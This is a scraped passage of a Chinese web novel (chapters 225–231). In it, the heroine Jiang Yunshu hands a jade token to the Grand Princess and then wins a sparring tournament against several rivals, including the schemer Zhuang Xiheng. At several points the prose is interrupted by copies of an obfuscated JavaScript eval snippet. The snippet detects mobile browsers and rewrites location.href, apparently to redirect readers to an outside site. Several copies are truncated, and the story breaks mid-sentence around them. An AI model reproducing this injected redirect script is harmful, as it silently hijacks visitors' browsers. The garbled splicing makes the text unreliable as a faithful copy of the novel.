“这……姜云舒,你是从哪里得来的玉佩!”她的声音控制不住的轻颤。 “是玉佩主人所托,让我在必要时,交给大长公主。”姜云舒如实回答。 大长公主眼皮轻颤,她看看玉佩,又看向姜云舒,眸中尽是审视。 这玉佩是锦姒郡主的东西,当初她出嫁时,大长公主亲自画的样式,而且,当初她选的这块玉佩,也是看到通体白皙的玉佩上那一点黄色点缀。 这世界上不可能有两块一样的玉佩,姜云舒做不得假,值得怀疑的便是这玉佩的来历,究竟是锦姒交给她的,还是…… 快速衡量之中,大长公主收敛神情,视线瞥向姜云舒,哼笑出声。 “最近也真是巧了,都来与本宫呈报锦姒的消息,所以,你又想要什么?” 第225章 帮我打擂台 大长公主盯着姜云舒,似是要从她那双透亮的眼睛里看穿什么。 平白无故献殷勤,自然是有所求,沈清安求的是码头的水路,三皇子求的是兵力,姜云舒只身在京城,难不成,药求她为定国将军府**? 三年前她不能做的事,三年之后,这丫头凭什么认为自己能做成? 大长公主这样想着,可接下来姜云舒的话,却让她的思绪又是一顿。 “臣并不想从大长公主这里谋求什么,只是如今北夷边境动荡,臣只是依照锦姒郡主的嘱托,告知大长公主,她很安全,若非要说有所求,那么,臣恳请大长公主,不要调动北域的那三千精兵。” 说完,姜云舒抬起头来,迎上大长公主审视的视线,不避不闪。 大长公主眼皮猛地一颤,视线凝在姜云舒脸上,半晌才暗自舒一口气。 “你说了这么多,本宫,凭什么相信你?” 姜云舒抬头,迎着大长公主的审视,从容道:“大长公主可以写信,虽说字迹可以模仿,但大长公主可以提及一些只有您和锦姒郡主知道的事情,等她的回信到您手中,真假自可分辨。” 大长公主顿了一下,不得不认同,姜云舒这个办法,的确做不得假。 字迹可以模仿,信物可以从其他途径得到,却都不能确保锦姒的安危,而姜云舒这个办法,几乎可以确定,回信之人的确是锦姒。 大长公主暗自判断,视线依旧在姜云舒脸上,“你让本宫不要动那三千兵力,你想做什么?难不成,你想为你将军府翻案?” 虽说只有三千兵力,可那三千人是精兵,战场之上,若将他们应用在对的地方,可发挥出四两拨千斤的作用。 大长公主如今手上没了兵力,但即便被人利用,总也得知道用处。 “臣是姜家人,为家族翻案自然是想的,但北夷三皇子早对临江城虎视眈眈,如今他登基成为北夷新皇,等安了朝中,势必要对我大瑞开战,届时臣希望这三千兵力能组成奇袭部队,守护临安城。” 临安城,不过是北域边境与北夷境地接壤的小城,也是北夷发兵攻入大瑞境内的第一步,临安城守住了,哪怕多撑一段时间,战事局面会有决定性的转变。 大长公主不知边境布防,但这三千兵力能发挥多大的作用她是亲自验证过的。 “呵,边境如何,那是舞阳侯的责任,你定国将军府如今已经不在镇守北域边境,你又何必既如此紧张呢?” 大长公主转手,端起桌上的杯盏,浅浅抿一口。 姜云舒抿了抿唇,似是犹豫一下,回答,“臣,不相信舞阳侯!” 回京这三年,姜云舒逐渐认识到,朝中势力错综复杂,权利面前,人心是不可探的。 大长公主转手又将杯盏放在桌上,杯底轻磕桌面,发出声响。 “舞阳侯到底是皇上亲自派遣的将领,由不得你信任不信任,而这三千精兵,本就是为了锦姒而存在,届时用这三千精兵守护临安城,那么,谁来守护我的锦姒呢?” “一旦边境开战,臣会先安排锦姒郡主回到您身边,届时您再做决定。”姜云舒仰着头,迎着大长公主的视线看过去。 大长公主的眸光一滞,眼中神情在一瞬年变了几变。 相比三皇子和沈清安,他们一句话里藏着几个意思,姜云舒却是上来就亮了自己的底牌,她没有用手里的筹码谈条件,这倒是比另外两个可信多了。 而且,刚才姜云舒提及,边境一旦开战,她可以安排锦姒回到京城,细想之下,不难判断出,锦姒如今已经离开北域,但她终究是北域二皇子的王妃,如今二皇子下落不明,她亦不能平白出现在大瑞,所以,开战便是一个节点。 想明白这一层,大长公主不着痕迹的舒了一口气,可到底是曾在朝中议政之人,心思自是更为谨慎。 “罢了,你若果真能确定锦姒的安全,本宫自会依你所言。” 此时北夷边境纷乱,她不求其他,只求锦姒能平安。 说着,大长公主转身,从旁边的桌案上拿出笔墨写信。 姜云舒在一旁等着,等大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281049|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长公主写完,双手将信接过来,小心的放进衣服里。 “臣告退。” 姜云舒收好了信,转身离开。 大长公主伸手去端茶,似是为了平复心情一般,低头浅浅抿一口,随即又抬头,看着姜云舒的身影消失在营帐中,长长的叹一口气。 这个丫头,真真和她娘一样倔! 这边姜云舒自大长公主的营帐中往回走,眼看就要到自己的营帐,黑夜之中,就见庄心悦拉着一个人急匆匆朝她奔来。 “姜云舒,终于找到你了!” 庄心悦惊呼一声,拉着身边人紧走几步。 到了跟前,姜云舒这才看清楚,跟着庄心悦一起过来的,竟然是庆王府的昭珩郡主。 姜云舒迎上去,问:“昭珩郡主,可是老太妃不舒服?” 庆王府老太妃常年用仁春堂的药,就算平常头痛脑热的,也很少传宫里的太医,而是专门请姜大夫过去,如今见昭珩郡主面上这般焦急,便下意识想到了老太妃。 “不是,是昭珩自己的事!” 庄心悦猛地喘一口粗气,“快,你快跟我们去篝火晚宴,你得帮我们打擂台。” 打擂台? 姜云舒一听,都快气笑了。 倒不是因为庄心悦跟她不客气,自从和裴钰在一起,庄心悦跟姜云舒便成了自己人, 倒也不必客气,只是,她这还浑身伤呢,让她打擂台? 闹呢! 姜云舒抬起缠着纱布的手在庄心悦眼前晃了晃,“庄二,你自己看看,我现在打擂台合适吗?” 庄心悦:“……” 的确不是很合适。 姜云舒这手臂一晃,不光庄心悦没了声音,旁边昭珩郡主都快哭了。 昭珩郡主向来端庄得体,即便着急也不会失态,可如今她那眼睛红着,都大的眼泪珠子就含在眼眶里。 这得多大的事儿! 姜云舒紧忙收敛表情,问:“你们这么着急过来找我,可是那边的彩头是很重要的东西?” 第226章 人**就什么都没了 “是!” 庄心悦应了一声,脸上的表情有些复杂,“是我大哥出的彩头,彩头是我二哥生前用过的护腕。” 庄锡林的护腕? 难怪昭珩郡主都要急哭了。 庄心悦同母所出的还有一个哥哥一个姐姐,姐姐庄心妍远嫁,哥哥庄锡林两年前在平台守护战中,以身殉国,而这位大哥,虽是长子却是妾室所出。 太师府嫡庶分明,以前庄锡林英勇上进,是庄家的骄傲,而那位长兄庄锡恒处处被压一头,奈何人家是嫡子,他再不满也只能忍着,可自从庄锡林离世,庄家只剩他一个男嗣,他的气势便起来了。 许是为了彰显自己在庄家有多被看重,如今竟拿庄锡林生前的护腕做彩头,真真是欺人太甚了。 “走,我们去看看。” 姜云舒不由分说,抬脚就走。 庄心悦和昭珩愣住,犹豫了一下,还是跟了过去。 此时篝火晚宴已经到了精彩之处,众人欢呼一阵接着一阵。 高台比武得彩头,是每年狩猎节必有的项目。 这一场的彩头是庄锡恒提供的,他坐在正座上,一脸得意的看着擂台上为了争夺他视为“垃圾”的护腕拼尽全力,唇畔之间笑意之中尽是讽刺。 生前再风光又如何,人**,就什么都没有了。 姜云舒几个人赶到时,擂台上刚赢了对手的是兵部侍郎府的祝宁灿,此时她正昂着头往下看,眼神之中带着挑衅。 “怎么,没有人要挑战了吗?我大瑞武将世家女眷没有拿得出手的?” 不得不说,姜云舒被这句话激到了,她皱眉就要上前,岂料刚到擂台前却被一只手抓住了手腕。 姜云舒猛地回头,瞧见是谢无烬,眸光一滞。 “你身上还有伤,别逞强。”谢无烬神情略显凝重。 刚才几场擂台,谢无烬看得已经有些厌烦了,和军中将士实力较量不同,这些所谓的高门贵胄的争夺之中,都带着家庭背景,有人身份高贵,别人即便是上台挑战也是为了衬托,这种比试,有什么意义。 “我没事的,你刚才不是一直在看吗,就擂台上那个,能是我的对手?”姜云舒道。 谢无烬眉梢微动,的确,刚才擂台上的几场,还真没有人是姜云舒的对手。 可她终究伤着。 见谢无烬没松手,姜云舒稍稍沉一口气,“我就比一场,等我拿到那护腕,之后不管彩头是什么,再也不会上场了。” 今晚擂台上,皇上的彩头才是压轴的,此时这些不过是开胃小菜。 听姜云舒说,谢无烬下意识朝那彩头榜上看去,刚才庄锡恒已经介绍过,那是庄锡林曾经用过的护腕。 庄锡林…… 谢无烬看向姜云舒时,月光瞟到旁边的庄心悦和昭珩郡主,似是明白了什么,朝庄心悦瞪了一眼。 庄心悦心虚地低下头。 “尽力而为,先护住自己。”他说。 “好!” 姜云舒拽下谢无烬的手时,不着痕迹的在他手心里捏了一下,随即转身上前。 “我来应祝小姐的战。” 话音落,姜云舒一个翻身上了擂台。 后山**的事情,皇上压下了姜云舒和七公主相关的信息,在场众人只当姜云舒的伤是狩猎时不小心落下的,并没有在意,毕竟,狩猎也是试炼的一种,受点伤在所难免。 祝宁灿见人影上来,下意识往后退一步,站定之后,视线落在姜云舒身上。 姜云舒看起来身形要比印象中北域之人娇小一些,但从她刚才翻身上擂台的动作来看,她的功底并不差。 定国将军府独女,呵,如今应该被称之为罪臣之女。 祝宁灿哼一声,眸中带着嘲讽,“听说乐安君主可是从小便随着将士历炼长大,那就让我领教领教,你们北域的本事!” 说着,她猛地一拳头朝着姜云舒的门面便打了过去。 姜云舒眸光一凛,退后一步躲开祝宁灿的攻击,紧接着身形侧开,抬手拽住她的手腕,猛地往下压。 两人还没自我介绍便摆开阵势,一时间过招拆招打在了一起,这不合擂台的规矩,可两人一开始的较量太过激烈, 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谢无烬站在人群之中仰头瞧着姜云舒,那双清澈的眸子意义闪烁,与当年那个意气风发的假小子别无二致。 众人都在欢呼,然而,看台之上,提供这次彩头的庄锡恒却忽然沉下了脸。 他没有和姜云舒较量过,但如今看来,她的武功的确不容小觑,可偏偏她竟然是个女的。 呵,女人就应该在家里相夫教子,混在男人堆里逞强算什么! 最重要的是,他之所以抛出这个彩头,原本也是想着看看别人的实力,毕竟,他得到消息,今年皇上的彩头可是前朝将军的赤冥剑。 一把剑再名贵也是物件,但是若能赢得这把剑,之后军中提拔他便拿到了优先权。 可如今他看到姜云舒的实力,原本散漫的神经一下子就绷了起来。 恭王府世子和谢无烬这两个人的实力尚未可知,结果先跳出来个姜云舒! 庄锡恒攥起了拳头,视线朝一旁递了个眼神。 第227章 兵不厌诈 “还有人来挑战吗,没有的话,庄少将的护腕我便收下了。”姜云舒视线扫过看台上。 “护国将军府,霍凌霜,前来讨教几招!” 擂台之下,传来一声喝,随着声音传来,人一个翻身跳上了擂台。 姜云舒后退一步,看向霍凌霜。 同样是将军府出身,霍凌霜身上的气质与姜云舒略有几分相似,眉宇之间带着几分与生俱来的犀利。 而且,她自小跟着护国将军在军营玩耍历炼,只听得她脚步声音便能感觉得到她武功底。 两家将军府女眷对质,这可真真是一场好戏,一时间挑起了众人极大的关注,便是皇上和皇后也眯起眼睛朝擂台这边看了过来。 姜云舒收回视线,朝霍凌霜行了一个军队中较量时摆出的架势。 谁知,她头刚微微低垂便感觉到一股强大的压力朝着自己的门面冲过来,姜云舒瞬间面色一凛,快速侧身险险的躲过了这一招。 “方才乐安县主病没有使出全力,我可不像祝宁灿那么弱,县主不必隐藏实力!” 说话间,霍凌霜的拳头再次朝姜云舒打了过来。 感觉到那凌厉的气压朝着自己冲过来,姜云舒没有走神的机会,收回思绪的同时衡量着霍凌霜过来的速度。 就在霍凌霜的拳头沾到姜云舒衣角的瞬间,只见她猛然一个侧身反转,不但躲过了攻击还精准地拽住了她的手腕,随即猛然将她往身边拽过来,同时脚下出招将她的腿死死钳制住。 这一招速度很快,大部分只是看到了姜云舒躲闪却没有看到她是怎么钳制住霍凌霜的,定睛看到最终这个场面的瞬间,不由得瞪大了眼睛,一时间,空气凝滞了。 霍凌霜没想到仅仅一招就被姜云舒钳制住,脸色瞬间变得阴沉,用尽了全身的力量挣脱,却发现姜云舒这瘦小的身子竟然跟钳子似的禁锢着她的身体,根本挣脱不开! 连皇上也不由得坐直了身体,幽沉的双眸之间多了一丝惊诧,果然是姜兆霖的女儿,犀利狠辣,他看着姜云舒出手,猛然间心口像是被什么撞了一下,有种说不出来的感觉。 庄心悦和昭珩郡主本来还揪着心,可从姜云舒第一次躲开霍凌霜的拳头时,脸上神情便从紧张转变成了激动。 好,好厉害! 谢无烬听得周边众人的称赞,不由得勾起了唇角,嗯,是厉害! 有人兴奋,有人便拧紧了眉头。 尤其沈家众人,此时瞧姜云舒在擂台上意气风发,一个个脸上扭曲着。 沈家官小卑微,被安排在后面的位置,虽看不清楚姜云舒的脸和细微的动作,却也能分辨出她是处处压着霍凌霜的,加上周边众人一声声欢呼,每一声欢呼仿佛就锤在沈家一家老小的心上。 若姜云舒还是沈家的人,这份欢呼他们沈家人也能受着,老夫人再出门,定然是要昂着头的,沈长元也可以跟学院里的同学吹嘘,狩猎节擂台上那个一直赢的便是自己的母亲。 可是,现在姜云舒的荣光与他们沈家没有丝毫关系。 老夫人绞着手帕,“哎哟”了好几声,那满眼的悔恨,说都说不出口。 沈长元更是憋得满脸通红,想哭,可是又怕沈清安骂他,也只能攥着拳头。 而此时脸色最难看的便是沈清安了,他后悔了。 他以为,将门女子,粗鄙鲁莽,而姜云舒这三年在京城的所谓,也可谓是极尽算计,他清高,瞧不上,可忘了,将他沈家这种小门户引入京城名流,要花费多大的心思。 如今再看,姜云舒离开沈家之后却是光芒万丈,但已经跟他没有一丝关系了。 他后悔,可惜晚了,他想弥补,可以没有机会了,此时只能看着光芒万丈的她,咬紧后槽牙将满腔的不甘心憋回去。 此时擂台之上,尚未分出胜负,姜云舒和霍凌霜仍缠打在一起。 “霍小姐,你不是我的对手,不如我们各退一步,你将这手腕让给我,之后的擂台,我不再上。”姜云舒压低了声音。 如祝宁灿那般,被踹下擂台后是没有资格再打后面的擂台的,但是若平手结束,两人便都能继续参加,姜云舒是给霍凌霜一个台阶。 然而,霍凌霜想来 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就在姜云舒的手碰到霍凌霜的瞬间,一股力道带着风袭来,她躲避不及,只感觉肩膀上一沉,结结实实的挨了她这一拳! 除了重击的沉闷,姜云舒还感觉到一股钻心的疼,强稳住身子站定,这才发现霍凌霜指头缝里竟然还藏着刀片,如今殷红的血从伤口渗出,将雪白的衣衫染红了一片。 嘶…… 众人忍不住倒吸一口凉气,看向姜云舒的目光多了几分担忧。 “霍凌霜,你居然使阴招!”庄心悦一直在边上看着,忍不住朝霍凌霜大喊。 “无耻!”昭珩郡主也忍不住跟着骂了一句。 “兵不厌诈!” 霍凌霜侧目朝姜云舒看过去,那雪白衣服上的殷红让她下意识蹙了一下眉头,很快又散开,漫不经心道:“战场上两军对敌,从来没有这些所谓的条条框框,活下来才有说话的权利!” 说着,转向姜云舒,问:“乐安县主,你说是吗?” 第228章 你以为,女子就是好欺负的? 姜云舒沉了沉眉梢,低垂着头将眼底的阴寒遮挡住,双手猛然攥住! 她的速度快得将衣服带的都飘了起来,如同一只极速飞驰的隼,盯住了猎物,便毫不犹豫的攻了过来。 这一次,她是真的被惹火了,几步跨到霍凌霜跟前快速出手,招招狠厉,丝毫不给她喘息的机会。 也许是心虚,也许是没想到姜云舒会有这样的身手,瞬间功夫便霍凌霜便被逼到了没有招架之力的地步。 眼看着两人的身体很快贴近,姜云舒双眸之间寒光一闪,不等她反应,一个过肩摔,生生将她腾空从肩头扔了过去,像个破口袋一样摔在了地上! 沉闷的撞击声之后便是霍凌霜惨绝人寰的嚎叫,这一次是真是撕心裂肺,不是装的,最后摔在地上,甚至连惨叫都叫不出来了。 “兵不厌诈!” 姜云舒居高临下的看着霍凌霜,看着她手上的刀片这一次伤到了她自己,眸中尽是嘲讽。 霍凌霜躺在地上朝姜云舒瞪眼,却说不出一句反驳的话来。 姜云舒低低的瞥了她一眼,正要再说,只觉身后忽的传来一阵寒凉,她猛地后退一步,就见庄锡恒落在擂台上。 “庄大公子是来送彩头的吗?”她后退两步,眼底尽是防备。 刚才那一下,姜云舒若非躲避及时,恐怕是要结结实实挨他一招了。 “哼,谁说你已经赢了彩头?” 庄锡恒勾起冷笑,视线在姜云舒身上打量,“方才看乐安县主出手狠厉毒辣,厉害非常,我也忍不住想要讨教两招。” 说这件,他后退半步,拉开架势。 庄锡恒落下来时,众人就已经瞪大了眼睛,此时听他说要跟姜云舒打,更是惊诧的忘了收回下巴。 不是,你个男人上擂台来打,是不是有点不要脸了? 议论声起,而此时刚好赶过来的裴钰忍不住已经喊了起来。 “庄锡恒你要点脸吧,姑娘们较量,你凑什么热闹,更何况,姜云舒还伤着呢!”裴钰忍不住怒喝。 说起来,以后裴钰若娶了庄心悦,庄锡恒还是他的大舅哥呢。 若这大舅哥和庄心悦兄妹关系不错,他认也就认了,偏偏庄锡恒不甘心自己庶子的身份,处处给庄夫人和庄心悦找不痛快,裴钰自然也不会让他视为自己人。 就连庄心悦也忍不住喊了一声,“你还不下来,非得让自己下不来台,整个庄家跟你丢人现眼?” 且不说庄锡恒用来当做彩头的是庄心悦一母同胞哥哥的遗物,就光拿逝者的东西来哗众取宠,本就让人不齿,偏偏他还当成耀武扬威的资本。 庄锡恒扭头朝庄心悦瞪一眼,冷冷道:“擂台之上,可没有规定只是女子交手。” 话音落,他猛地再出一拳,朝着姜云舒的脸就打了过来。 然而,拳头还未靠近,一个身影迅速闪过,他的胸口先挨了一脚。 “砰”的一声,庄锡恒的身体像个破口袋一般,重重的摔在擂台上。 “既然规则未规定男主,那本世子来陪你过招!” 谢无烬居高临下的睨着他,另一手将姜云舒护在身侧。 说着话,他扭头朝姜云舒看一眼,瞧见她衣服被血染红,忍不住皱起了眉头。 “并不深,没事。” 姜云舒抬手在他手背上拍了拍,随后抬脚上前,同样居高临下的看着庄锡恒,“你用庄小将军的东西做彩头,不就是想逼迫昭珩郡主跟你妥协吗?你以为,女子就是好欺负的?” 话音落,姜云舒猛地一鞭子抽像了庄锡恒。 姜云舒虽一直在擂台上,却在空隙之间朝庄锡恒的方向扫过几眼,几乎每一次都能看到庄锡恒的视线都落在昭珩郡主身上。 听庄心悦说,当初二哥身死战场的噩耗传来京城,庄锡恒就跟她祖母提过,要代替庄锡林和昭珩郡主成婚。 庆王想着庄锡恒以后是太师府唯一的男嗣,原本也是同意的,昭珩郡主以命威胁,死活不同意,两家的婚事只能作罢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时擂台上,姜云舒和庄锡恒已经过了几招,不得不说,太师亲手带出来的,的确不弱,十几个回合下来,两人几乎能打个平手。 裴钰几个人帮不上忙,只能在下面看着,看着看着,意识到有点不对劲。 “谢无烬,你有没有感觉到姜云舒不太对,她反应的速度比平常慢了一些!”他冷不丁看向谢无烬。 第229章 你算什么东西 谢无烬的视线一直在擂台上,听得裴钰说话,他蹙了蹙眉,似是在回答裴钰的疑问。 “姜云舒被**影响,此时尚有轻微的耳鸣,会影响她的判断和反应速度。” “啧!” 裴钰一跺脚,扭头看向谢无烬,“那你怎么能让她上擂台呢!” 若是刚才他在,肯定不会让姜云舒上擂台。 谢无烬睨了他一眼,还没开口,就听旁边庄心悦的声音传来。 “所以说,你在谢无烬面前,根本没有任何胜算!” 说着,庄心悦一把将裴钰拽了回来,似是也有些后悔的叹一口气,“若说一开始她是想帮昭珩拿到我二哥的护腕,那么现在,姜云舒是为了一口气。” 谢无烬扭头看庄心悦一眼,对她刚才的话赞同。 和太师府不同,定国将军府养出来的儿女从没有区别对待,他们向来都是用自己的实力让别人认可,当然,姜云舒并不屑让庄锡恒认可,她是要被庄锡恒看不起的女子出一口气。 一边说着,庄心悦拉住昭珩郡主的手,“你别担心,姜云舒厉害着呢!” 昭珩郡主抿了抿唇,依旧一脸担忧的看向擂台。 裴钰听得庄心悦的话,皱着眉头仔细想了想,“啧”了一声。 “庄心悦,你怎么比我还懂姜云舒,咱俩到底谁是姜云舒的跟屁虫?” 京城之中,裴钰和姜云舒的联系是最频繁的,自姜云舒回京之后,裴钰更是时不时去找她,庄心悦一开始还是有些吃味的,阴阳怪气的称他为“跟屁虫”,如今看来,庄心悦却是更了解她的。 庄心悦瞥了他一眼,没有回答,只是目中的得意之色再明显不过。 众人说话时,擂台上战事焦灼,姜云舒的鞭子和庄锡恒的剑绞在一起,两人各自用力,憋着一口气较量。 庄锡恒抬眼瞧着姜云舒,忍不住冷笑出声。 “姜云舒,你已经没有力气了,现在认输,免得届时一身伤,又要说我欺负你。”他挑着眉梢,眸中尽是嘲讽。 京城世家之中,单凭个人实力,庄锡恒的确是各种翘楚,庄太师对于他的培养并不亚于庄锡林,也正是因为如此,在同样的能力面前,嫡庶之间的差别和人生规划让他越发不甘心,以至于心态逐渐扭曲。 姜云舒蹙眉,她用力时紧紧抿着唇,眼底一股戾色散开。 因为受伤的缘故,她被七公主盯着喝了一天的粥,晚上又一心盯着大长公主那边,没吃几口,又加上刚才打的两场,此时的确有些吃力。 此时被装信恒挑衅的目光一激,怒意不可控制的腾盛起来。 大多数人被激怒时会自乱阵脚,可姜云舒不一样,她被激怒,脑子里总会想出点歪门邪道。 她似是被识破了弱点,手上的力道稍稍松了一些,庄锡恒很快觉察到,眸中迅速闪过一抹得意,趁机再次用力。 两人的僵持很快打破了平衡。 庄锡恒是算准了姜云舒没了力气,一点一点挪动脚步朝她靠近,眼看着两人之间就差一臂的距离,庄锡恒突然伸手,掐住姜云舒的脖子。 然而,姜云舒面上并无紧张慌乱,就在庄锡恒以为得逞时,她倏地抬起一脚,正中他的裆。 “啊——” 一声惨叫自擂台上响起,庄锡恒猛地弓起身子。 大概是很疼吧,只一眨眼的功夫,庄锡恒的脸都紫了,他龇着牙,咧着嘴,眉头拧在一处,双手护住下体在擂台上转圈。 姜云舒趁着他收力的瞬间,猛地抽出鞭子“啪”的一鞭抽在他的后背,紧接着鞭子尾巴缠住他的脖子。 “这一鞭子,是替昭珩郡主打的,你能做出逼迫之事,就注定你不可能取代庄少将军在她心里的位置。” 说着,她抬脚,踩在庄锡恒的脑袋上。 “至于你脖子上的伤,是还给你的,你想扼我的喉咙,也得掂量掂量有没有那个本事!” 说完,姜云舒手中鞭子力道撤开,她抬起一脚勾住庄锡林的后腰,直接踹下了擂台。 “砰”的一声,庄锡恒直接落在地上,扬起地面一片尘土。 在场众人都惊呆了,愣愣的看着庄锡恒躺在地上痛苦呻吟,一时间,张大的嘴巴又忘了收回去。 姜云舒跟着跳下擂台,一步一步走到庄锡恒跟前。 庄锡恒下意识往回缩了一下,咬着牙,眼睛冒着火,正要开口,却听姜云舒的声音自头顶传来。 “此时的大瑞比前朝圣明的其中一处,便是不再轻看女子,且不说我,如今坐于高台之上的皇后便是镇守一方边境的武将,你庄大公子不过是在盛世太平的京城操练了几年,上了战场以命相搏时,你又能做到几分?” 他根本不知道什么是战场!更不懂得“战死”这两个字有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一声,让姜云舒紧绷着的弦霎时舒展,她有些脱力,撑着边缘用力喘了几口气,听得锣声举起手朝看台挥了挥手,却一直没有抬起头来。 这一场的消耗太大,再有人来挑战,她怕是要撑不下去了。 万幸,并没有人再上擂台。 庄锡恒这个提供彩头的人都被踢下去了,他们哪里还有争夺的余地? 内侍官将彩头的护腕送了过来,姜云舒双手接过来, 此时高台之上,皇后的视线落在擂台上,她看着姜云舒和庄锡恒的较量,看着她使下三路招数对付庄锡恒,看着她将庄锡恒的头踩在脚下,心口莫名生腾出一股说不上来的情绪。 她下意识看向远处的薛神医,此刻,薛神医也朝她看来,两人视线交缠,皇后竟下意识躲了一下。 第230章 想亲她 下了擂台,月禾紧忙过来,上前扶住姜云舒。 “小姐,快让我看看你的伤!” 旧伤还好,只有几处渗血,这新伤让月禾又忍不住骂了霍凌霜一遍。 “真不是个东西,这霍家小姐到底懂不懂什么叫兵不厌诈?她这是输不起,黑心烂肺的!” 姜云舒不说话,任由月禾给她包扎伤口。 “就是就是!同样出身将门世家,武功不行,品性也不行,还有脸叫嚣!” 裴钰也在边上跟着骂。 他和月禾你一句我一句,两人都能骂不重样的。 庄心悦站在后面犹豫了一会儿,一脸忧愁的过来。 “姜云舒,对不起啊……我……” 她开口,原本明媚的脸上,此时尽是低沉,她想说什么,可又不知道说什么。 刚才姜云舒一番话说得很轻,看台之上几乎听不到,可难免周边有心之人会将这番话传入皇上耳中,皇上多虑,届时认定姜云舒是为定国将军府鸣不平,难免招来不必要的麻烦。 她不懂朝堂,却懂得人心复杂,祸从口出,言语扭曲最是软刀子,这一点,自从二哥战死后,她已经多次体会到了。 而且,此时姜云舒又添伤口,终究是她一时闹热拽着昭珩郡主过来找她,若不是…… “与你无关。” 姜云舒想拍拍庄心悦的肩膀,奈何月禾正在帮她处理肩膀的伤,只能勾了勾唇角。 说着,昭珩郡主也到跟前,抬手,将赢来的护腕递了过去。 “你,你竟……姜姑娘,谢谢你。”昭珩郡主接过护腕,眼泪一下子就涌了出来。 一边哭着,又似是想起什么,抽噎着又问:“你的伤疼不疼?” 说着,她伸手,将一个药瓶递给月禾,“这是当年我父王受伤时,皇上赏赐的金疮药,说是定国将军府……” 话还没说完,她突然意识到,这不就是姜云舒家的吗? 不是,刚才太激动了,一下子没意识到,只记得这是皇上口中最好的金疮药来着…… 姜云舒也是愣了一下,随即看着昭珩郡主此时的表情,一下子明白过来,忍不住“噗嗤”一声笑了。 以前去庆王府,昭珩郡主都是清清冷冷,面上总是带着一股子生人勿近的冷淡,如今接触起来,竟发现她是软软萌萌的那种。 “哎呀,姜云舒!”昭珩郡主顿时红了脸。 “好了,不笑。” 姜云舒收敛表情,将昭珩郡主送来的金疮药接过来,只是接的同时还将手里的药塞进了昭珩郡主手里。 昭珩郡主一愣,抬头看姜云舒,却见她示意地挑了挑眉梢。 “随身带在身上吧,尤其是出门的时候,头晕时,或可帮你。”姜云舒道。 昭珩郡主顿了一下,似乎明白过来,然后眼睛一热,又要哭。 姜云舒忽然感觉头大,帮她出气还行,哄人她不擅长啊。 正发愁,就见谢无烬上前一步。 “有什么话明日再说,先让姜云舒回去休息。” 一边说着,又跟月禾吩咐,“去找七公主要一碗滋补的鸡汤和粥过来。” “哎!” 这会儿,月禾倒是听谢无烬的话。 众人也一时间反应过来,连连点头。 “云舒,你快回去歇息,我们明日去找你。”庄心悦道。 裴钰也难得同意谢无烬的安排,点头,“放心回去歇着,今晚再有事儿,小爷给你担着。” 姜云舒点头,随着谢无烬穿过人群往回走。 就在两人绕过擂台时,看台上,皇上和皇后的视线落在姜云舒身上,眼神复杂。 营帐。 姜云舒和谢无烬到时,薛神医已经准备好了药和工具正等着。 确切来说,从姜云舒上了那擂台,她便回来准备了。 营帐之外脚步声传来,薛神医抬头看到姜云舒和谢无烬进来,起身。 “脸色这么差,可是受了重伤?”薛神医向来平淡的面上难得多了几分紧张。 “没,只是小伤。”姜云舒摇摇头。 “那怎么……”薛神医不信。 这孩子向来爱逞强,如今都让谢无烬搀着走了,能是小伤? “是饿的……”姜云舒扯了扯嘴角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大概是太过紧张,姜云舒这一推力气用大了,差点给谢无烬推倒。 月禾手里端着粥,没瞧见两人的异常,走进了才发现,他们表情透着些许古怪。 第231章 庄锡恒废了 “营帐里很热吗?怎么你们两个的脸都这么红?” 月禾随口嘟囔一句,也没等姜云舒回答,将粥送到她跟前。 “小姐,快用些。” 小姐脸这么红,可能是饿得吧,听人说饿极了会眼冒金星,眼睛都冒金星了,脸自然会红的。 只是,裴世子也饿了吗? 可她只端了一碗粥过来,不够分的啊。 算了,装作没看见吧。 月禾心里盘算着,当机立断将粥往姜云舒跟前递了递。 姜云舒低头看了一眼,嫌弃地“啧”了一声。 又是粥。 “我们是来狩猎的,这样清汤寡水的过分了吧!” 虽说是肉粥,可是里面的肉都熬碎了,粥也看起来白白的,这哪能填饱肚子? 她想吃肉! 烤得焦焦黄黄,外酥里嫩,再撒上一层她县主府的厨子调的蘸料,那才是人间美味啊喂! “七公主说,小姐现在要温补,得仔细着肠胃。”月禾如实说。 “我又不是重伤初愈,注意什么肠胃?皮外伤,就得补!” 姜云舒不满,然后将粥碗一推。 “没有肉,我不吃!” 这两天就是因为没吃肉,她才会在擂台上差点脱力! “可是,小姐……” 月禾刚要说,却见谢无烬抬手将粥碗端了过去,然后也不知他从哪里拿出一个纸包,打开,竟然是烤得焦焦黄黄的酥肉。 “你先把粥喝了,这个给你配着吃。”谢无烬声音轻缓。 “炙烤香兔?你从哪里弄来的?” 姜云舒眼睛一闪,伸手接过来,这会儿也不嫌弃了,几口便将一碗粥喝完,然后美滋滋的吃着肉。 “昨日打的山兔,我让卫临风送去了县主府,晌午做好后又给送了过来,你上擂台前刚送到。” 凤台山狩猎,吃的最多的便是烤肉,可最合姜云舒口味的还是县主府里厨子做的味道。 姜云舒嚼着肉的动作顿了一下,享受地仰头“啊”了一声。 “真是辛苦卫侍卫了!” 奔波了一天,就为了她一口吃的,真是个好人! 她说得一脸感激,然而,这话刚出口,眼见谢无烬的脸就黑了。 他抓的兔子,他安排的人,结果她只感谢卫临风? 这个小没良心的! 